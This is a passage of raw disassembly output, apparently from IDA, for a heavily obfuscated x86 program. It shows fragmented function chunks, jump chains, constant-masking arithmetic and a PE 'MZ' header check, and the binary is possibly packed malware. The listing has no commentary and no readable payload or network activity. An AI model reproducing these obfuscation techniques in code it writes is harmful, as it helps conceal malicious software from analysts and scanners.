		jnz	loc_409E97
; END OF FUNCTION CHUNK	FOR sub_40EABC
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40D66A:				; CODE XREF: o45kw3t9:004095BCj
					; sub_40CC20:loc_40A1E7j ...
		call	sub_409E8E
; END OF FUNCTION CHUNK	FOR sub_40CC20
; START	OF FUNCTION CHUNK FOR sub_40988C


loc_40D66F:				; CODE XREF: sub_40988C+2339j
		jmp	nullsub_84
; END OF FUNCTION CHUNK	FOR sub_40988C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B3E5


loc_40D674:				; CODE XREF: sub_40B3E5:loc_40C9CEj
		add	eax, 3C89E3A3h
		add	eax, ebp
		add	eax, 99761C19h
		mov	eax, [eax]
		movzx	eax, word ptr [eax+14h]
		jmp	loc_40FAF4
; END OF FUNCTION CHUNK	FOR sub_40B3E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_40D68D:				; CODE XREF: sub_409FA8-747j
		mov	eax, [eax]
		mov	al, [eax]
		jnz	loc_4098E5
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_40DD17
; END OF FUNCTION CHUNK	FOR sub_409FA8
; ---------------------------------------------------------------------------

locret_40D6A5:				; CODE XREF: o45kw3t9:0040BE18j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BFBB


loc_40D6A6:				; CODE XREF: sub_40BFBB+1204j
		jmp	loc_40A118
; END OF FUNCTION CHUNK	FOR sub_40BFBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B5CB


loc_40D6AB:				; CODE XREF: sub_40B5CB:loc_40BD9Cj
		jnz	loc_40A503
		jmp	loc_40A36C
; END OF FUNCTION CHUNK	FOR sub_40B5CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E98E


loc_40D6B6:				; CODE XREF: sub_40EFF0:loc_40A1F2j
					; sub_40E98E-185Fj
		mov	eax, [ebp-4]
		call	sub_40AD7A
; END OF FUNCTION CHUNK	FOR sub_40E98E
; START	OF FUNCTION CHUNK FOR sub_40DA15


loc_40D6BE:				; CODE XREF: sub_40DA15-2089j
		push	137A4D9Bh
		jmp	loc_40ADAF
; END OF FUNCTION CHUNK	FOR sub_40DA15

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D6C8	proc near		; CODE XREF: sub_40939B:loc_409151j
		retn
sub_40D6C8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ECBD


loc_40D6C9:				; CODE XREF: sub_40ECBD-40EAj
		jmp	loc_40A803
; END OF FUNCTION CHUNK	FOR sub_40ECBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40D6CE:				; CODE XREF: sub_40D740-19EBj
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_40A43A
		jmp	loc_409EB6
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4090F8


loc_40D6DD:				; CODE XREF: sub_4090F8+5BC0j
		push	eax
		jmp	loc_409125
; ---------------------------------------------------------------------------


loc_40D6E3:				; CODE XREF: sub_4090F8j
		mov	edx, ds:dword_40D3B4
		or	edx, edx
		jnz	loc_40AEF3
		jmp	loc_40AB44
; END OF FUNCTION CHUNK	FOR sub_4090F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40988C


loc_40D6F6:				; CODE XREF: sub_40988C:loc_409716j
		pop	ecx
		rol	ecx, 6
		xor	ecx, 0C4107A01h
		add	eax, ecx
		pop	ecx
		mov	eax, [eax]
		mov	al, [eax]
		sub	al, 99h
		jmp	loc_40EDAE
; END OF FUNCTION CHUNK	FOR sub_40988C

; =============== S U B	R O U T	I N E =======================================



sub_40D70E	proc near		; CODE XREF: o45kw3t9:0040C81Cj
					; o45kw3t9:0040EDC3p

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0040A2D0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040E09F SIZE 00000005 BYTES

		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+8+var_8]
		call	sub_40A107
		jmp	loc_40E09F
sub_40D70E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40D71E:				; CODE XREF: o45kw3t9:0040B693j
		xor	edx, edx
		push	edx
		call	sub_40BE4A

; =============== S U B	R O U T	I N E =======================================



sub_40D726	proc near		; CODE XREF: sub_40D439:loc_40D44Bp
					; sub_409AD7+4E33j
		xchg	ebx, [esp+0]
		pop	ebx
		push	eax
		call	sub_40D740
		retn
sub_40D726	endp

; ---------------------------------------------------------------------------


loc_40D731:				; CODE XREF: o45kw3t9:0040C8CCj
		jmp	loc_40A82C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B1A3


loc_40D736:				; CODE XREF: sub_40B1A3+Bj
		jmp	loc_40FA74
; END OF FUNCTION CHUNK	FOR sub_40B1A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B76E


loc_40D73B:				; CODE XREF: sub_40B76E-13A2j
		jmp	loc_40B9E7
; END OF FUNCTION CHUNK	FOR sub_40B76E

; =============== S U B	R O U T	I N E =======================================



sub_40D740	proc near		; CODE XREF: sub_40D726+5p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_14		= dword	ptr  18h

; FUNCTION CHUNK AT 00409010 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040911C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409131 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040916E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00409193 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040927F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004093F3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004093FE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00409434 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004094A4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040951D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409545 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004095C7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040969B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00409742 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040976B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00409871 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409902 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409B33 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00409BD4 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00409D3A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409DAE SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00409E32 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409EB6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00409F67 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00409F82 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040A035 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0040A1C3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0040A2AB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040A599 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A5A9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A696 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0040A796 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AA85 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040AC84 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040ACD8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040AD19 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AEA4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AEF0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040AF1A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0040AF8B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B139 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040B1C2 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040B1F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B274 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040B3AF SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0040B61C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040B644 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040B7CC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040B842 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0040B97C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040BAA6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040BB33 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040BCDE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040BD38 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0040BDBF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040BEC3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C067 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040C0C1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040C245 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040C354 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040C548 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C64F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CA21 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040CAD7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040CAE9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040CB27 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040CB4A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040CDF8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040CE13 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040CF3D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D10D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040D6CE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040DB04 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0040DB86 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040DD35 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040DF03 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040DF5D SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0040DFEA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040E073 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E08F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E09A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E0D9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040E12C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040E2D4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040E3BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E3FE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040E492 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040E4DB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040E812 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040E99E SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0040E9C6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040EA5C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040EB88 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040EC48 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040ED9B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040EF17 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F054 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040F0B7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FA17 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040FA3B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FAA1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040FBF2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040FCAF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FD32 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0040FF2E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FFDF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040FFFE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00410018 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004100EC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0041011A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004101D1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00410234 SIZE 00000019 BYTES

		call	sub_40B004


loc_40D745:				; CODE XREF: sub_40D740+100j
		jmp	loc_40D98C
; ---------------------------------------------------------------------------


loc_40D74A:				; CODE XREF: sub_40D740:loc_40E073j
		add	edi, 2A73D26Fh
		jmp	loc_40A035
; ---------------------------------------------------------------------------


loc_40D755:				; CODE XREF: sub_40E19B-2751j
		jnz	loc_40E9C6
		call	sub_40E9B9


loc_40D760:				; CODE XREF: sub_40A107:loc_409CC2j
		call	sub_40CEFE
		push	0D88286C6h
		pop	edx
		sub	edx, 99D3242Dh
		cmp	edx, 4BF72F5Fh
		jmp	loc_40C64F
; ---------------------------------------------------------------------------

locret_40D77C:				; CODE XREF: sub_40D740-14F2j
		retn
; ---------------------------------------------------------------------------


loc_40D77D:				; CODE XREF: sub_40D740+18Aj
		jmp	loc_409DAE
; ---------------------------------------------------------------------------


loc_40D782:				; CODE XREF: sub_40A3F3+7j
					; sub_40FBD0-4613j ...
		mov	al, 1
		jmp	loc_40C245
; ---------------------------------------------------------------------------


loc_40D789:				; CODE XREF: sub_40FBD0:loc_40B5B1j
					; o45kw3t9:0040E458j
		inc	dword ptr [ebp-4]
		jmp	loc_41011A
; ---------------------------------------------------------------------------


loc_40D791:				; CODE XREF: sub_40E187-2237p
		call	sub_409E37
		push	ecx


loc_40D797:				; CODE XREF: o45kw3t9:0040ABADj
		mov	ecx, [esp-8+arg_14]
		call	sub_40FEFA


loc_40D7A0:				; CODE XREF: o45kw3t9:0040B82Dp
		mov	[esp-8+arg_4], eax
		rol	eax, 5
		mov	ds:dword_40E3DC, eax
		retn
; ---------------------------------------------------------------------------


loc_40D7AD:				; CODE XREF: sub_40B88D+10Aj
		jmp	loc_40BCDE
; ---------------------------------------------------------------------------


loc_40D7B2:				; CODE XREF: o45kw3t9:loc_409259j
		jz	loc_40DFF3
		jmp	loc_40CB4A
; ---------------------------------------------------------------------------
		mov	ebp, 29BF33D5h
		jmp	sub_40DB50
; ---------------------------------------------------------------------------

locret_40D7C7:				; CODE XREF: sub_409379+8j
		retn
; ---------------------------------------------------------------------------


loc_40D7C8:				; CODE XREF: sub_409E8E+2DD1j
		jmp	nullsub_49
; ---------------------------------------------------------------------------


loc_40D7CD:				; CODE XREF: sub_40D740-25FDj
		xchg	edi, ecx
		mov	edx, ebp


loc_40D7D1:				; CODE XREF: sub_40D740:loc_409EB6j
		call	sub_40EFC7


loc_40D7D6:				; DATA XREF: o45kw3t9:loc_40A82Fo
		mov	eax, [ebp-20h]
		movzx	eax, byte ptr [eax]
		mov	[ebp-1Ch], eax
		call	sub_40E7B2


loc_40D7E4:				; CODE XREF: sub_40A715+2153j
		jmp	loc_40CDF8
; ---------------------------------------------------------------------------


loc_40D7E9:				; CODE XREF: sub_40E893+13A1j
		js	loc_40E4DB


loc_40D7EF:				; CODE XREF: sub_40E893:loc_40AE58j
		push	esi
		push	154D1792h
		pop	esi
		add	esi, 0EAF3CCE0h


loc_40D7FC:				; CODE XREF: sub_40D740:loc_40D871j
		xchg	esi, [esp+0Ch+var_C]
		jmp	loc_40AF8B
; ---------------------------------------------------------------------------


loc_40D804:				; CODE XREF: sub_40E0E0:loc_40FC74j
		mov	edx, [edx]
		mov	eax, [edx]
		push	edi
		push	7AA0D8C1h


loc_40D80E:				; CODE XREF: sub_40AC2F+5187j
		pop	edi
		rol	edi, 5
		and	edi, 0A104C171h
		xor	edi, 25h
		jmp	loc_40E3BB
; ---------------------------------------------------------------------------
		mov	edx, 0F2B89A19h
		call	sub_40E858
		push	eax
		call	sub_40B18A


loc_40D833:				; CODE XREF: o45kw3t9:loc_40A7FEj
		mov	eax, [ebp-4]
		mov	al, [eax]
		jns	loc_40DD35
		sub	al, 99h
		jmp	loc_40D745
; ---------------------------------------------------------------------------

locret_40D845:				; CODE XREF: sub_40DCEE-390Bj
		retn
; ---------------------------------------------------------------------------


loc_40D846:				; CODE XREF: sub_40CB74-2825j
		push	offset loc_40E53C
		jmp	nullsub_50
; ---------------------------------------------------------------------------


loc_40D850:				; DATA XREF: o45kw3t9:0040BE13o
		push	ebp
		mov	ebp, esp
		xchg	ecx, ebp
		push	ebp
		push	offset loc_4097BB
		jmp	loc_40FF2E
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_40939B
; ---------------------------------------------------------------------------


loc_40D866:				; CODE XREF: sub_40CD2E-12D5j
		jnz	loc_40A038
		jmp	loc_40E073
; ---------------------------------------------------------------------------


loc_40D871:				; CODE XREF: o45kw3t9:0040AE13j
		jnz	loc_40D7FC
		cmp	ecx, 64A4C385h
		jmp	loc_40A1C3
; ---------------------------------------------------------------------------


loc_40D882:				; CODE XREF: sub_409597:loc_40E0A9j
		push	edx
		push	eax
		jmp	loc_40976F
; ---------------------------------------------------------------------------


loc_40D889:				; CODE XREF: sub_40F039+1j
		add	eax, [esp+0]
		adc	edx, [esp+4]
		add	esp, 8
		mov	eax, [eax]
		add	eax, [ebp-4]
		call	sub_40C365
		jmp	loc_40BB33
; ---------------------------------------------------------------------------

locret_40D8A2:				; CODE XREF: o45kw3t9:loc_40978Bj
					; sub_40D740:loc_40FF2Ej
		retn
; ---------------------------------------------------------------------------


loc_40D8A3:				; CODE XREF: sub_409726:loc_40A30Ej
		jmp	loc_40E812
; ---------------------------------------------------------------------------


loc_40D8A8:				; CODE XREF: sub_40CE24+Cj
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_4101D1
		jmp	loc_40EC48
; ---------------------------------------------------------------------------

locret_40D8B7:				; CODE XREF: sub_40A416:loc_40C021j
		retn
; ---------------------------------------------------------------------------


loc_40D8B8:				; CODE XREF: sub_40D542+1j
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		push	17FEBAB4h
		pop	eax
		add	eax, 0E842291Ch
		jmp	loc_40D77D
; ---------------------------------------------------------------------------

locret_40D8CF:				; CODE XREF: sub_40E0CA:loc_40C885j
		retn
; ---------------------------------------------------------------------------


loc_40D8D0:				; CODE XREF: sub_40A259-D5Cj
					; sub_409600+6j ...
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40D8D4:				; CODE XREF: sub_409233+Bj
		jmp	nullsub_116
; ---------------------------------------------------------------------------


loc_40D8D9:				; CODE XREF: sub_40E187-2230j
		mov	eax, [ebp-4]
		call	sub_40A259


loc_40D8E1:				; CODE XREF: sub_40ADDA+Bj
		jmp	loc_409BD4
; ---------------------------------------------------------------------------


loc_40D8E6:				; CODE XREF: o45kw3t9:0040B2B5j
		jz	loc_40C175
		jmp	loc_40B644
; ---------------------------------------------------------------------------


loc_40D8F1:				; CODE XREF: o45kw3t9:0040F167j
		adc	ebx, esi


loc_40D8F3:				; CODE XREF: sub_409E9E+8p
		xchg	ecx, [esp+0]
		pop	ecx
		add	edx, 0AA0545E5h
		mov	edx, [edx]
		call	sub_40E692


loc_40D904:				; CODE XREF: sub_40E4ED+16j
		jmp	loc_40CE13
; ---------------------------------------------------------------------------
		shr	edi, 0Eh
		jmp	sub_40D5BF
; ---------------------------------------------------------------------------
		call	sub_40AC3D


loc_40D916:				; CODE XREF: sub_40E19B+19j
		jmp	loc_40D93F
; ---------------------------------------------------------------------------


loc_40D91B:				; CODE XREF: sub_40BD5C:loc_40BD65j
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_40D569
		jmp	loc_40951D
; ---------------------------------------------------------------------------


loc_40D92B:				; CODE XREF: sub_41010B:loc_40D639j
		push	ecx
		mov	esp, ebp
		pop	ebp
		call	sub_40A6F8


loc_40D934:				; CODE XREF: o45kw3t9:0040AE73j
		jmp	nullsub_52
; ---------------------------------------------------------------------------


loc_40D939:				; CODE XREF: sub_40F02A-5AC5j
		jmp	loc_4093FE
; ---------------------------------------------------------------------------

locret_40D93E:				; CODE XREF: sub_40D740+29EBj
		retn
; ---------------------------------------------------------------------------


loc_40D93F:				; CODE XREF: sub_40D740:loc_40D916j
		inc	dword ptr [ebp-8]


loc_40D942:				; CODE XREF: sub_40D740:loc_409D3Aj
					; sub_40E9B9+8j
		mov	eax, [ebp-8]
		pop	ecx
		call	sub_40BA37


loc_40D94B:				; CODE XREF: sub_40DECD+Ej
		jmp	loc_40E86D
; ---------------------------------------------------------------------------


loc_40D950:				; CODE XREF: sub_40DDDC+7j
		jmp	loc_40CAD7
; ---------------------------------------------------------------------------
		push	eax
		call	sub_40948E
		pop	eax
		pop	eax
		push	eax
		jmp	loc_40FAA6
; ---------------------------------------------------------------------------


loc_40D963:				; CODE XREF: sub_409627+43E2j
		shr	edi, 1Fh
		sbb	ebp, eax
		sbb	ebp, 4B3EC480h
		adc	eax, ebp
		jmp	loc_40E58A
; ---------------------------------------------------------------------------


loc_40D975:				; DATA XREF: sub_40EA76+5o
		add	eax, 4
		mov	esi, [eax]
		add	eax, 4
		call	sub_40AF39


loc_40D982:				; CODE XREF: sub_40A447+3AE0j
		jmp	loc_409F82
; ---------------------------------------------------------------------------


loc_40D987:				; CODE XREF: sub_40BC53+1Ej
		jmp	loc_4094A4
; ---------------------------------------------------------------------------


loc_40D98C:				; CODE XREF: sub_40D740:loc_40D745j
		call	sub_40E562


loc_40D991:				; CODE XREF: sub_40C60C+Aj
		jmp	loc_40DB86
sub_40D740	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D996	proc near		; CODE XREF: o45kw3t9:loc_40A591j
					; DATA XREF: sub_40B8C2:loc_40BD91o

; FUNCTION CHUNK AT 0040B4C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B6BB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040FC0C SIZE 0000000A BYTES

		cmp	dword ptr [eax], 0FFFFFFFFh
		mov	ebx, [eax+4]
		call	sub_40A839


loc_40D9A1:				; CODE XREF: sub_40E786:loc_40E5A4j
		jmp	loc_40B4C1
sub_40D996	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC53


loc_40D9A6:				; CODE XREF: sub_40EC53+F2Aj
					; sub_40EC53:loc_40FCC0j
		push	edi
		push	88EFF5BCh
		mov	edi, offset loc_410021
		push	offset sub_41001D
		jmp	sub_40B53A
; END OF FUNCTION CHUNK	FOR sub_40EC53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A6F8


loc_40D9BB:				; CODE XREF: sub_40A6F8+D3Fj
		jge	sub_40A5DE
		jmp	loc_40B9CB
; END OF FUNCTION CHUNK	FOR sub_40A6F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CEA7


loc_40D9C6:				; CODE XREF: sub_40CEA7+7j
		mov	eax, offset dword_40FA08
		call	sub_40C298
		push	offset loc_40DA55
		jmp	loc_40C9D8
; END OF FUNCTION CHUNK	FOR sub_40CEA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4091DD


loc_40D9DA:				; CODE XREF: sub_4091DD+5j
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_4091DD
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_40C293
; ---------------------------------------------------------------------------
		rol	eax, 13h
		xor	eax, 5BB65E48h
		rol	eax, 0Eh
		push	edi
		jmp	loc_40AA07
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_35. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40D9F8:				; CODE XREF: o45kw3t9:0040C2FCj
		jz	loc_40B226
		jmp	loc_40E430
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409627


loc_40DA03:				; CODE XREF: sub_409627:loc_40FCFEj
		jz	loc_40E58A
		jmp	loc_40D963
; END OF FUNCTION CHUNK	FOR sub_409627
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_85. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40DA0F:				; CODE XREF: o45kw3t9:0040B392j
		jnb	loc_40B977

; =============== S U B	R O U T	I N E =======================================



sub_40DA15	proc near		; CODE XREF: sub_40EC64+DCCp

; FUNCTION CHUNK AT 00409F92 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040A854 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040ADAF SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0040B580 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B706 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B92C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040B986 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C28E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D6BE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040DDE8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040E7D9 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0040E80B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040EF5E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040FFC9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00410168 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00410268 SIZE 00000010 BYTES

		mov	[esp+0], edx
		pop	edx
		push	0F9B5A2C0h


loc_40DA1E:				; CODE XREF: o45kw3t9:00409BB2j
		pop	edi
		and	edi, 7F6D5497h
		test	edi, 80000000h
		jmp	loc_40A854
sub_40DA15	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A259


loc_40DA30:				; CODE XREF: sub_40A259:loc_40C289j
		jz	loc_40DAB9
		jmp	loc_40B0C3
; END OF FUNCTION CHUNK	FOR sub_40A259
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40DA3B:				; CODE XREF: sub_40CC20:loc_40B9D3j
		jz	loc_409306
		jmp	loc_40A818
; END OF FUNCTION CHUNK	FOR sub_40CC20
; ---------------------------------------------------------------------------
		push	eax
		rol	eax, 18h
		push	edi
		push	offset sub_40EE0D
		jmp	locret_40A361
; ---------------------------------------------------------------------------


loc_40DA55:				; DATA XREF: sub_40CEA7+B29o
		lea	eax, [ebp-14h]
		push	eax
		call	sub_40FC1D
		push	offset loc_40B853
		jmp	locret_40BB72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40DA68:				; CODE XREF: o45kw3t9:0040B0E7j
					; sub_40CC20:loc_40C259j
		xchg	ecx, [edi]
		jmp	loc_40A1FD
; END OF FUNCTION CHUNK	FOR sub_40CC20
; ---------------------------------------------------------------------------
		mov	[ebp+0], edx
		jmp	sub_40FBD0
; ---------------------------------------------------------------------------


loc_40DA77:				; CODE XREF: o45kw3t9:0040EECEj
		jns	sub_40D587

; =============== S U B	R O U T	I N E =======================================



sub_40DA7D	proc near		; CODE XREF: sub_409C62+2CCBp

; FUNCTION CHUNK AT 00409B63 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040B6D8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FB92 SIZE 0000000D BYTES

		xchg	eax, [esp+0]
		pop	eax
		xor	eax, eax
		mov	al, [ebp-9]
		shl	eax, cl
		jmp	loc_409B63
sub_40DA7D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EE0D


loc_40DA8D:				; CODE XREF: sub_40EE0D:loc_40D058j
		jz	loc_40EF08


loc_40DA93:				; CODE XREF: o45kw3t9:0040C462j
		jmp	sub_40CEFE
; END OF FUNCTION CHUNK	FOR sub_40EE0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B76E


loc_40DA98:				; CODE XREF: sub_40B76E+18j
		jmp	loc_40A3B4
; END OF FUNCTION CHUNK	FOR sub_40B76E
; ---------------------------------------------------------------------------
		sbb	ebp, eax
		jmp	loc_40EEFF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_83. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40988C


loc_40DAA5:				; CODE XREF: sub_40988C:loc_40C2F1j
		jz	loc_40FB88
		jmp	loc_40A21D
; END OF FUNCTION CHUNK	FOR sub_40988C
